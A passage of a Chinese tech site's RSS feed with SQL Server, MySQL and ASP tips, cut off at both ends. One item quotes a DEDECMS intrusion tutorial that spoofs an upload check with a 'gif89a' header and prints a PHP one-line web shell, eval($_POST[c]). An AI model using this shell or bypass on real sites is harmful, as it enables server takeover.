		<description><![CDATA[众所周知，在SQL中有个绝对是网络安全中的隐患的帐号sa，系统管理员 (sa)，默认情况下，它指派给固定服务器角色 sysadmin，并不能进行更改。这个sa一般情况下是既不可以更改名称，也不可以删除，呵呵，有点鸡肋的味道，弃置可惜，食之无味。在我装上 SQL Server 2000之后，始终都不放心，担心有一天被人破出密码，可能你会说设个强壮点的密码，这个办法是可行，但也不是十分稳妥，所谓斩草要除根，要是把sa给删拉就不用担心那些&#34;黑客&#34;暴力破解拉。 <br/><br/>呵呵，前面说拉那么半天废话，可能你已经看的不耐烦拉，好，这就说道正题，首先打开SQL中的企业管理器，接着在工具选项卡中选择SQL server配置属性依次，点服务器设置，看到允许对系统目录直接进行修改前面的方框吗，点一下，好。 <br/><br/><br/>再打开查询分析器，登陆进去（呵呵，随便你用什么帐号进去，不过可一定要在master数据库中有db_owner的权限）输入： <br/><br/>&nbsp;&nbsp;<br/><br/>up&#100;ate sysxlogins set name=’<br/>你要改成的名字’ wh&#101;re sid=0x01<br/>up&#100;ate sysxlogins set <br/>sid=0xE765555BD44F054F89CD0076A06EA823 <br/>wh&#101;re name=’你要改成的名字’&nbsp;&nbsp; <br/><br/>OK，执行成功，好拉，转道企业管理器中刷新安全性中的登陆，看看，sa是不是变成xwq拉，呵呵，选中xwq点击右键，怎么样是不是出现拉删除的选项，呵呵，删除。看看sa是不是已经没有拉。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/>&nbsp;&nbsp;<br/><br/>直接在查询分析器里怎么删除sa，做法和前面所说的差不多，只不过这次不是在企业管理器中做手脚拉，而是利用sql提供给我们功能强大的存储过程来完成这项任务。下面就是我所说的需要利用的存储过程sp_configure，sp_configure显示或更改当前服务器的全局配置设置。 <br/><br/>&nbsp;&nbsp;<br/><br/><br/><br/>它的语法:<br/>sp_configure [ [ @configname = ] ’name’ ]<br/>[ , [ @configvalue = ] ’value’ ]<br/><br/>实例：<br/>sp_configure ’allow up&#100;ates’, 1<br/>go<br/>RECONFIGURE WITH OVERRIDE<br/>go&nbsp;&nbsp; <br/><br/>好拉，这样我们就可以更新系统表拉，接下来和前面的做法一样拉 up&#100;ate sysxlogins set name=’你要改成的名字’ wh&#101;re sid=0x01，然后再删除&#34;你改名后的那个名字&#34; <br/><br/><br/><br/>不过要注意在 sp_configure 上没有参数（或只有第一个参数）的执行许可权限默认授予所有用户。有两个参数的 sp_configure（用于更改配置选项）的执行许可权限默认授予 sysadmin 和 serveradmin 固定服务器角色。RECONFIGURE 权限默认授予 sysadmin 固定服务器角色和 serveradmin 固定服务器角色，并且不能传输。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1546.htm</link>
			<title><![CDATA[mysql数据库备份命令]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,18 Mar 2008 15:31:06 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1546</guid>
		<description><![CDATA[下面是最简单的备份命令(需要把mysql的bin目录加到系统环境变量的path中)，更详细的参数可参见mysql的使用手册，其中database_name是要备份的数据库名称，backup.sql是数据库当前状态的sql脚本。<br/><br/>mysqldump -u root -p --opt database_name &gt; d:/backup.sql<br/><br/><br/>如果要恢复，只需导入改sql脚本就可以了<br/><br/>source d:/backup.sql<br/><br/><br/>如果需要定时备份，可以把这条明天写入一个bat文件，然后让windows定时执行改批处理命令就可以了<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1487.htm</link>
			<title><![CDATA[sql语句 实现分页]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sat,01 Mar 2008 15:04:21 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1487</guid>
		<description><![CDATA[Trackback: <a href="http://tb.blog.csdn.net/TrackBack.aspx?PostId=1702111" target="_blank" rel="external">http://tb.blog.csdn.net/TrackBack.aspx?PostId=1702111</a><br/><br/>/*<br/>分页思想：比如你要每页获取10条记录，当你显示第5页的记录时，<br/>也就是选取第40条至50条的记录.首先应该从所有的记录集中选取<br/>50条记录，同时进行倒序,再从中选10条，就完成工作了。<br/><br/>下面是一个具体的例子，从Northwind的Orders表中选取OrderID大于@OrderID的记录集，<br/>分10条每页显示.<br/>*/<br/><br/>--有查询条件的分页存储过程<br/>cr&#101;ate procedure dbo.Orders_GetByPaging<br/>@OrderID int,&nbsp;&nbsp;&nbsp;&nbsp;--条件<br/>@PageSize int,&nbsp;&nbsp; --每页的记录数量，比如10条，传参数时就是10<br/>@CurrentPage int&nbsp;&nbsp; --第N页,比如第5页，传参数就是5<br/>as<br/>declare @PageCount int --可分页的数量<br/>declare @RowsCount int&nbsp;&nbsp; --符合查询条伯的记录行总数<br/>declare @LastRows int&nbsp;&nbsp;&nbsp;&nbsp;--整除后余下来的记录数<br/>declare @Sel&#101;ctRowsCount int --要选择的行数<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;set @RowsCount=(sel&#101;ct count(*) from dbo.Orders wh&#101;re o&#114;derID&gt;@OrderID)<br/>&nbsp;&nbsp;&nbsp;&nbsp;set @PageCount=@RowsCount/@PageSize&nbsp;&nbsp;&nbsp;&nbsp;--看下能分多少页<br/>&nbsp;&nbsp;&nbsp;&nbsp;set @LastRows=@RowsCount%@PageSize<br/>&nbsp;&nbsp;&nbsp;&nbsp;set @Sel&#101;ctRowsCount=@PageSize&nbsp;&nbsp;&nbsp;&nbsp;--给要选取的行数赋值，如参数是10，就是每页10条记录&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;if(@LastRows&gt;0)--当整除后还剩的记录数，比如总有95条记录符合，那就可以分10页，最后一页是5条记录<br/>&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set @PageCount=@PageCount+1&nbsp;&nbsp; --如果不能整除时要多加一页<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(@CurrentPage&gt;=@PageCount)&nbsp;&nbsp; --如果选择的是最后一页时<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;&nbsp; @Sel&#101;ctRowsCount=@LastRows&nbsp;&nbsp; --比如95条记录，第10页只能是5条记录<br/>&nbsp;&nbsp;&nbsp;&nbsp;end<br/>declare @Sel&#101;ctStr varchar(5000)<br/>set @Sel&#101;ctStr=&#39;sel&#101;ct top &#39;+Convert(nvarchar(10),@Sel&#101;ctRowsCount)+&#39; <br/>* from <br/><br/>(sel&#101;ct top &#39;+Convert(nvarchar(10),(@CurrentPage)*@PageSize)+&#39; * from <br/>(sel&#101;ct * from dbo.Orders wh&#101;re o&#114;derID&gt;&#39;+Convert(nvarchar(10),@OrderID)+&#39;) as t1 o&#114;der by o&#114;derID asc) as t2 o&#114;der by o&#114;derID desc&#39;<br/><br/>execute(@Sel&#101;ctStr) <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1486.htm</link>
			<title><![CDATA[SQL2005 EXPRESS 常见问题及解决办法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sat,01 Mar 2008 14:53:39 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1486</guid>
		<description><![CDATA[在建立与服务器的连接时出错。在连接到 SQL Server 2005 时，在默认的设置下 SQL Server 不允许进行远程连接可能会导致此失败。 (provider: SQL 网络接口, error: 26 - 定位指定的服务器/实例时出错) <br/>首 选请确认SQL SERVER EXPRSS已安装到本地计算机上，并且SQL SERVER (SQLEXPRESS)服务已经成功启动。如果问题仍然存在，可以尝试应打开“SQL Server 外围应用配置器”，选择“服务和连接的外围应用配置器”，然后将“远程连接”配置为“同时使用 TCP/IP 和 named pipes”<br/><br/>由于启动用户实例的进程时出错，导致无法生成 SQL Server 的用户实例。该连接将关闭。 <br/>将连接字符串中的“User Instance=True”修改为“User Instance=False”即可。<br/><br/>无法将文件 &#39;X:WebsiteApp_DataDatabase.mdf&#39; 作为数据库 &#39;&#39;. 附加。当前命令发生了严重错误。应放弃任何可能产生的结果。 <br/>需要为X分区以及X分区的子文件夹和文件分配Users组的“读取”权限。<br/><br/>尝试为文件 X:WebsiteApp_DataDatabase.mdf 附加自动命名的数据库，但失败。已存在同名的数据库，或指定的文件无法打开或位于 UNC 共享目录中。 <br/>首 选要确认已经为X分区以及X分区的子文件夹和文件分配了Users组的“读取”权限。如果问题仍然存在，请使用SQL Server Management Studio连接到SQLEXPRESS数据库实例，检查是否有名称是“Database”的数据库存在。如果有，分离同名数据库即可。如果还有问题检查web.config中Data Source=.\SQLEXPRESS，如果同时装了sql2000名称应为MSSQL$SQLEXPRESS。<br/><br/>无法打开用户默认数据库。登录失败。<br/>用户 &#39;NT AUTHORITYNETWORK SERVICE&#39; 登录失败。 <br/>数据库文件Database.mdf 的读写权限被设置成只有NETWORK SERVICE才具有。解决方法是先停止掉SQL SERVER (SQLEXPRESS)服务，然后从父项集成权限，再次启动SQL SERVER (SQLEXPRESS)服务即可。 ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1484.htm</link>
			<title><![CDATA[“/”应用程序中的服务器错误]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sat,01 Mar 2008 14:14:55 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1484</guid>
		<description><![CDATA[在建立与服务器的连接时出错。在连接到 SQL Server 2005 时，在默认的设置下 SQL Server 不允许进行远程连接可能会导致此失败。 (provider: SQL 网络接口, error: 26 - 定位指定的服务器/实例时出错) <br/>说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 <br/><br/>异常详细信息: System.Data.SqlClient.SqlException: 在建立与服务器的连接时出错。在连接到 SQL Server 2005 时，在默认的设置下 SQL Server 不允许进行远程连接可能会导致此失败。 (provider: SQL 网络接口, error: 26 - 定位指定的服务器/实例时出错)<br/><br/><br/>上述错误我遇到两种情况,一种是在打开打开SQL Server 2005时弹出的,另一种是在应用程序连接SQL Server 2005时出现的.归纳了一下,由以下几个原因:<br/><br/>1.数据库引擎没有启动.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有两种启动方式:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; (1)开始-&gt;程序-&gt;Microsoft SQL Server 2005-&gt;SQL Server 2005外围应用配置器,在打开的界面单击&#34;服务的连接的外围应用配置器&#34;,在打开的界面中找到Database Engine,单击&#34;服务&#34;,在右侧查看是否已启动,如果没有启动可单击&#34;启动&#34;,并确保&#34;启动类型&#34;为自动,不要为手动,否则下次开机时又要手动启动;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; (2)可打开:开始-&gt;程序-&gt;Microsoft SQL Server 2005-&gt;配置工具-&gt;SQL Server Configuration Manager,选中SQL Server 2005服务中SQL Server(MSSQLSERVER) ,并单击工具栏中的&#34;启动服务&#34;按钮把服务状态改为启动;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;使用上面两种方式时,有时候在启动的时候可能会出现错误,不能启动,这时就要查看&#34;SQL Server 2005配置管理器&#34;中的SQL&nbsp;&nbsp;Server 2005网络配置-&gt;MSSQLSERVER协议中的VIA是否已启用,如果已启用,则把它禁止.然后再执行上述一种方式操作就可以了.<br/><br/>2.进行远程连接时,是否已允许远程连接.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL Server 2005 在默认情况下仅限本地连接.我们可以手动启用远程连接.在上面第一种方式中,找到Database Engine,单击&#34;远程连接&#34;,在右侧将&#34;仅限本地连接(L)&#34;改为&#34;本地连接和远程连接(R)&#34;,并选中&#34;同时使用TCP/IP和named pipes(B)&#34;.<br/><br/>3.如果是远程连接,则还要查看连接数据库的语句是否正确,登录账户是否正确,密码是否正确等.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我在一次局域网内连接数据库时,就要因为连接字符串出了问题,在局域网内一台机子连接另一台机子上数据库时,把server=装有数据库的另一台机子的IP.我在连接数据库时总是出现上面的错误,查了好长时间,后来发现,IP没有正确到传到连接字符串,原来我在连接时,使用的是本地,即127.0.0.1,输入的IP没有传到连接字符串.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 以上是我归纳的几种情况,希望能对遇到类似问题的朋友提供些帮助和参考.<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1482.htm</link>
			<title><![CDATA[有关DEDECMS入侵GIF98A欺骗的问题]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,29 Feb 2008 17:43:38 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1482</guid>
		<description><![CDATA[请教.看到一段如下的教程.找了个存在这个漏洞的站. 写了个aa.php 按教程进行上传.但上传时说我文件类型不对.看了下源码.源码中对$_file[name][type]的mime类型有进行判断.如果改后缀名为其它的,可以上传.但就不能运行了.请问各位老大.知道我问题出在哪里做错了吗?谢谢. <br/><br/><br/>----------------------------------------------- <br/>4.X： <br/>在4 .x里面用到的是php版FCKeditor的修改版..../include/FCKeditor/editor/dialog/imageuser.php下. <br/><br/>&lt;td align=&#34;right&#34; nowrap&gt;　新图片：&lt;/td&gt; <br/>&lt;td colspan=&#34;2&#34; nowrap&gt;&lt;input name=&#34;imgfile&#34; type=&#34;file&#34; id=&#34;imgfile&#34; onChange=&#34;SeePic(&#39;picview&#39;,this);&#34; style=&#34;height:22&#34; class=&#34;binput&#34;&gt; <br/>&nbsp;&nbsp;&lt;input type=&#34;submit&#34; name=&#34;picSubmit&#34; id=&#34;picSubmit&#34; value=&#34; 上 传 &#34; style=&#34;height:22&#34; class=&#34;binput&#34;&gt;&lt;/td&gt; <br/>大家可以看到在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。 <br/><br/>这是可乐修改的的php小马。 <br/>gif89a <br/>&lt;?php <br/>phpinfo(); <br/>?&gt; <br/>RFI <br/>gif89a <br/>&lt;?php <br/>eval($_POST[c]); <br/>?&gt; <br/><br/>利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接. <br/>用织梦系统的利用百度搜下有很多.测试了下.只针对最新版。只有少数站静止asp.php.txt文件上传。 <br/><br/>%80都是可以的.官方未发放补丁。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1481.htm</link>
			<title><![CDATA[数据库导入出错]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,29 Feb 2008 16:13:53 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1481</guid>
		<description><![CDATA[错误: 602，严重度: 21，状态: 50<br/>Could not find row in sysindexes for database ID 9, object ID 1, index ID 1. Run DBCC CHECKTABLE on sysindexes.<br/><br/>错误: 602，严重度: 21，状态: 50<br/>未能在 sysindexes 中找到数据库 ID 9 中对象 ID 1 的索引 ID 1 对应的行。请对 sysindexes 运行 DBCC CHECKTABLE。<br/><br/>SQL 导入导出环境 2005到2005<br/>附加也一样出错。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1480.htm</link>
			<title><![CDATA[SQL数据库角色]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,29 Feb 2008 16:07:40 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1480</guid>
		<description><![CDATA[角色是一个强大的工具，使您得以将用户集中到一个单元中，然后对该单元应用权限。对一个角色授予、拒绝或废除的权限也适用于该角色的任何成员。可以建立一个角色来代表单位中一类工作人员所执行的工作，然后给这个角色授予适当的权限。当工作人员开始工作时，只须将他们添加为该角色成员，当他们离开工作时，将他们从该角色中删除。而不必在每个人接受或离开工作时，反复授予、拒绝和废除其权限。权限在用户成为角色成员时自动生效。 <br/><br/>Microsoft® Windows NT® 和 Windows® 2000 组的使用方式与角色很相似。有关更多信息，请参见组。 <br/><br/>如果根据工作职能定义了一系列角色，并给每个角色指派了适合这项工作的权限，则很容易在数据库中管理这些权限。之后，不用管理各个用户的权限，而只须在角色之间移动用户即可。如果工作职能发生改变，则只须更改一次角色的权限，并使更改自动应用于角色的所有成员，操作比较容易。 <br/><br/>在 Microsoft® SQL Server™ 2000 和 SQL Server 7.0 版中，用户可属于多个角色。 <br/><br/>以下脚本说明登录、用户和角色的添加，并为角色授予权限。 <br/><br/>USE master <br/><br/>GO <br/><br/>sp_grantlogin &#39;NETDOMAIN\John&#39; <br/><br/>GO <br/><br/>sp_defaultdb &#39;NETDOMAIN\John&#39;, &#39;courses&#39; <br/><br/>GO <br/><br/>sp_grantlogin &#39;NETDOMAIN\Sarah&#39; <br/><br/>GO <br/><br/>sp_defaultdb &#39;NETDOMAIN\Sarah&#39;, &#39;courses&#39; <br/><br/>GO <br/><br/>sp_grantlogin &#39;NETDOMAIN\Betty&#39; <br/><br/>GO <br/><br/>sp_defaultdb &#39;NETDOMAIN\Betty&#39;, &#39;courses&#39; <br/><br/>GO <br/><br/>sp_grantlogin &#39;NETDOMAIN\Ralph&#39; <br/><br/>GO <br/><br/>sp_defaultdb &#39;NETDOMAIN\Ralph&#39;, &#39;courses&#39; <br/><br/>GO <br/><br/>sp_grantlogin &#39;NETDOMAIN\Diane&#39; <br/><br/>GO <br/><br/>sp_defaultdb &#39;NETDOMAIN\Diane&#39;, &#39;courses&#39; <br/><br/>GO <br/><br/>USE courses <br/><br/>GO <br/><br/>sp_grantdbaccess &#39;NETDOMAIN\John&#39; <br/><br/>GO <br/><br/>sp_grantdbaccess &#39;NETDOMAIN\Sarah&#39; <br/><br/>GO <br/><br/>sp_grantdbaccess &#39;NETDOMAIN\Betty&#39; <br/><br/>GO <br/><br/>sp_grantdbaccess &#39;NETDOMAIN\Ralph&#39; <br/><br/>GO <br/><br/>sp_grantdbaccess &#39;NETDOMAIN\Diane&#39; <br/><br/>GO <br/><br/>sp_addrole &#39;Professor&#39; <br/><br/>GO <br/><br/>sp_addrole &#39;Student&#39; <br/><br/>GO <br/><br/>sp_addrolemember &#39;Professor&#39;, &#39;NETDOMAIN\John&#39; <br/><br/>GO <br/><br/>sp_addrolemember &#39;Professor&#39;, &#39;NETDOMAIN\Sarah&#39; <br/><br/>GO <br/><br/>sp_addrolemember &#39;Professor&#39;, &#39;NETDOMAIN\Diane&#39; <br/><br/>GO <br/><br/>sp_addrolemember &#39;Student&#39;, &#39;NETDOMAIN\Betty&#39; <br/><br/>GO <br/><br/>sp_addrolemember &#39;Student&#39;, &#39;NETDOMAIN\Ralph&#39; <br/><br/>GO <br/><br/>sp_addrolemember &#39;Student&#39;, &#39;NETDOMAIN\Diane&#39; <br/><br/>GO <br/><br/>GRANT Sel&#101;ct ON StudentGradeView TO Student <br/><br/>GO <br/><br/>GRANT Sel&#101;ct, Up&#100;ate ON ProfessorGradeView TO Professor <br/><br/>GO <br/><br/>该脚本给 John 和 Sarah 教授提供了更新学生成绩的权限，而学生 Betty 和 Ralph 只能选择他们自己的成绩。Diane 因同时教两个班，所以添加到两个角色中。ProfessorGradeView 视图应将教授限制在自己班学生的行上，而 StudentGradeView 应限制学生只能选择自己的成绩。 <br/><br/>SQL Server 2000 和 SQL Server 7.0 版在安装过程中定义几个固定角色。可以在这些角色中添加用户以获得相关的管理权限。下面是服务器范围内的角色。 <br/><br/>固定服务器角色 <br/>描述 <br/><br/>sysadmin <br/>可以在 SQL Server 中执行任何活动。 <br/><br/>serveradmin <br/>可以设置服务器范围的配置选项，关闭服务器。 <br/><br/>setupadmin <br/>可以管理链接服务器和启动过程。 <br/><br/>securityadmin <br/>可以管理登录和 Cr&#101;ate DATABASE 权限，还可以读取错误日志和更改密码。 <br/><br/>processadmin <br/>可以管理在 SQL Server 中运行的进程。 <br/><br/>dbcreator <br/>可以创建、更改和除去数据库。 <br/><br/>diskadmin <br/>可以管理磁盘文件。 <br/><br/>bulkadmin <br/>可以执行 BULK Ins&#101;rt 语句。 <br/><br/><br/><br/><br/>可以从 sp_helpsrvrole 获得固定服务器角色的列表，可以从 sp_srvrolepermission 获得每个角色的特定权限。 <br/><br/>每个数据库都有一系列固定数据库角色。虽然每个数据库中都存在名称相同的角色，但各个角色的作用域只是在特定的数据库内。例如，如果 Database1 和 Database2 中都有叫 UserX 的用户 ID，将 Database1 中的 UserX 添加到 Database1 的 db_owner 固定数据库角色中，对 Database2 中的 UserX 是否是 Database2 的 db_owner 角色成员没有任何影响。 <br/><br/>固定数据库角色 <br/>描述 <br/><br/>db_owner <br/>在数据库中有全部权限。 <br/><br/>db_accessadmin <br/>可以添加或删除用户 ID。 <br/><br/>db_securityadmin <br/>可以管理全部权限、对象所有权、角色和角色成员资格。 <br/><br/>db_ddladmin <br/>可以发出 ALL DDL，但不能发出 GRANT、REVOKE 或 DENY 语句。 <br/><br/>db_backupoperator <br/>可以发出 DBCC、CHECKPOINT 和 BACKUP 语句。 <br/><br/>db_datareader <br/>可以选择数据库内任何用户表中的所有数据。 <br/><br/>db_datawriter <br/>可以更改数据库内任何用户表中的所有数据。 <br/><br/>db_denydatareader <br/>不能选择数据库内任何用户表中的任何数据。 <br/><br/>db_denydatawriter <br/>不能更改数据库内任何用户表中的任何数据。 <br/><br/><br/><br/><br/>可以从 sp_helpdbfixedrole 获得固定数据库角色的列表，可以从 sp_dbfixedrolepermission 获得每个角色的特定权限。 <br/><br/>数据库中的每个用户都属于 public 数据库角色。如果想让数据库中的每个用户都能有某个特定的权限，则将该权限指派给 public 角色。如果没有给用户专门授予对某个对象的权限，他们就使用指派给 public 角色的权限。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1479.htm</link>
			<title><![CDATA[ASP编程中20个非常有用的例子]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,29 Feb 2008 16:06:14 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1479</guid>
		<description><![CDATA[1.如何用Asp判断你的网站的虚拟物理路径<br/>答：使用Mappath方法<br/>&lt;%= Server.MapPath(&#34;\&#34;)%&gt; <br/><br/>2.我如何知道使用者所用的浏览器？<br/>答：使用the Request object方法<br/>strBrowser=Request.ServerVariables(&#34;HTTP_USER_AGENT&#34;)<br/>If Instr(strBrowser,&#34;MSIE&#34;) &lt;&gt; 0 Then<br/>　　Response.redirect(&#34;ForMSIEOnly.htm&#34;)<br/>Else<br/>　　Response.redirect(&#34;ForAll.htm&#34;)<br/>End If<br/><br/>3.如何计算每天的平均反复访问人数<br/>答：解决方法<br/>&lt;% startdate=DateDiff(&#34;d&#34;,Now,&#34;01/01/1990&#34;)<br/>if strdate&lt;0 then startdate=startdate*-1<br/>avgvpd=Int((usercnt)/startdate) %&gt;<br/>显示结果<br/>&lt;% response.write(avgvpd) %&gt;<br/>that is it.this page have been viewed since November 10,1998<br/><br/>4.如何显示随机图象<br/>&lt;% dim p,ppic,dpic<br/>ppic=12<br/>randomize<br/>p=Int((ppic*rnd)+1)<br/>dpic=&#34;graphix/randompics/&#34;&amp;p&amp;&#34;.gif&#34;<br/>%&gt;<br/>显示<br/>&lt;img src=&#34;&lt;%=dpic%&gt;&#34;&gt;<br/><br/>5.如何回到先前的页面<br/>答：&lt;a href=&#34;&lt;%=request.serverVariables(&#34;Http_REFERER&#34;)%&gt;&#34;&gt;preivous page&lt;/a&gt;<br/>或用图片如：&lt;img src=&#34;arrowback.gif&#34; alt=&#34;&lt;%=request.serverVariables(&#34;HTTP_REFERER&#34;)%&gt;&#34;&gt;<br/><br/>6.如何确定对方的IP地址<br/>答：&lt;%=Request.serverVariables(&#34;REMOTE_ADDR)%&gt;<br/><br/>7.如何链结到一副图片上<br/>答：&lt;% @Languages=vbs cript %&gt;<br/>&lt;% response.expires=0<br/>strimagename=&#34;graphix/errors/erroriamge.gif&#34;<br/>response.redirect(strimagename)<br/>%&gt;<br/><br/>8.强迫输入密码对话框<br/>答：把这句话放载页面的开头<br/>&lt;% response.status=&#34;401 not Authorized&#34;<br/>response.end<br/>%&gt;<br/><br/>9.如何传递变量从一页到另一页<br/>答：用 HIDDEN 类型来传递变量<br/>&lt;% form. method=&#34;post&#34; action=&#34;mynextpage.asp&#34;&gt;<br/>&lt;% for each item in request.form. %&gt;<br/>&lt;input namee=&#34;&lt;%=item%&gt;&#34; type=&#34;HIDDEN&#34;<br/>value=&#34;&lt;%=server.HTMLEncode(Request.form(item)) %&gt;&#34;&gt;<br/>&lt;% next %&gt;<br/>&lt;/form&gt;<br/><br/>10.为何我在 asp 程序内使用 msgbox，程序出错说没有权限<br/>答：由于 asp 是服务器运行的，如果可以在服务器显示一个对话框，那么你只好等有人按了确定之后，你的程序才能继续执行，而一般服务器不会有人守着，所以微软不得不禁止这个函数，并胡乱告诉你 (:) 呵呵) 没有权限。但是ASP和客户端脚本结合倒可以显示一个对话框，as follows:<br/>&lt;% yourVar=&#34;测试对话框&#34;%&gt;<br/>&lt;% script. language=javas cript&gt;<br/>alert(&#34;&lt;%=yourvar%&gt;&#34;)<br/>&lt;/script&gt;<br/><br/>11.有没有办法保护自己的源代码，不给人看到<br/>答：可以去下载一个微软的Windows s cript Encoder，它可以对asp的脚本和客户端javas cript/vbs cript脚本进行加密。。。不过客户端加密后，只有ie5才能执行，服务器端脚本加密后，只有服务器上安装有s cript engine 5（装一个ie5就有了）才能执行。<br/><br/>12.怎样才能将 query string 从一个 asp 文件传送到另一个？<br/>答：前者文件加入下句： Response.Redirect(&#34;second.asp?&#34; &amp; Request.ServerVariables(&#34;QUERY_STRING&#34;))<br/><br/>13.global.asa文件总是不起作用?<br/>答：只有web目录设置为web application, global.asa才有效，并且一个web application的根目录下 global.asa才有效。IIS4可以使用Internet Service Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执行脚本代码？<br/><br/>14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码？<br/>答：Internet Sevices Manager -&gt; 选择default web site -&gt;右鼠键-&gt;菜单属性-〉主目录-&gt; 应用程序设置（Application Setting）-&gt; 点击按钮 &#34;配置&#34;-&gt; app mapping -&gt;点击按钮&#34;Add&#34; -&gt; executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.Del&#101;te 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理，效率将降低。<br/><br/>15.如何注册组件<br/>答：有两种方法。<br/>第一种方法：手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行，进入到包含有DLL的目录，并输入：regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用了，但是这个方法有一个缺陷。当使用这种方法注册完毕组件后，该组件必须要相应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表，所以，这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下，要取消注册这个dll，使用：regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll<br/><br/>第二种方法：使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色，但是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件，大大提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下：<br/>1) 打开IIS管理控制台。<br/>2) 展开transaction server，右键单击&#34;pkgs installed&#34;然后选择&#34;new package&#34;。<br/>3) 单击&#34;cr&#101;ate an empty package&#34;。<br/>4) 给该包命名。<br/>5) 指定administrator帐号或则使用&#34;interactive&#34;（如果服务器经常是使用administrator 登陆的话）。<br/>6) 现在使用右键单击你刚建立的那个包下面展开后的&#34;components&#34;。选择 &#34;new then component&#34;。<br/>7) 选择 &#34;install new component&#34; 。<br/>8) 找到你的.dll文件然后选择next到完成。<br/>要删除这个对象，只要选择它的图标，然后选择del&#101;te。<br/>附注：特别要注意第二种方法，它是用来调试自己编写组件的最好方法，而不必每次都需要重新启动机器了。<br/><br/>16. ASP与Access数据库连接：<br/><br/>&lt;%@ language=VBs cript%&gt;<br/>&lt;%<br/>dim conn,mdbfile<br/>mdbfile=server.mappath(&#34;数据库名称.mdb&#34;)<br/>set conn=server.cr&#101;ateobject(&#34;adodb.connection&#34;)<br/>conn.open &#34;driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq=&#34;&amp;mdbfile<br/>%&gt;<br/><br/>17. ASP与SQL数据库连接：<br/><br/>&lt;%@ language=VBs cript%&gt;<br/>&lt;%<br/>dim conn<br/>set conn=server.cr&#101;ateobject(&#34;ADODB.connection&#34;)<br/>con.open &#34;PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称<br/>%&gt;<br/><br/>建立记录集对象：<br/><br/>set rs=server.cr&#101;ateobject(&#34;adodb.recordset&#34;)<br/>rs.open SQL语句,conn,3,2<br/><br/>18. SQL常用命令使用方法：<br/><br/>(1) 数据记录筛选：<br/><br/>sql=&#34;sel&#101;ct * from 数据表 wh&#101;re 字段名=字段值 o&#114;der by 字段名 [desc]&#34;<br/><br/>sql=&#34;sel&#101;ct * from 数据表 wh&#101;re 字段名 like %字段值% o&#114;der by 字段名 [desc]&#34;<br/><br/>sql=&#34;sel&#101;ct top 10 * from 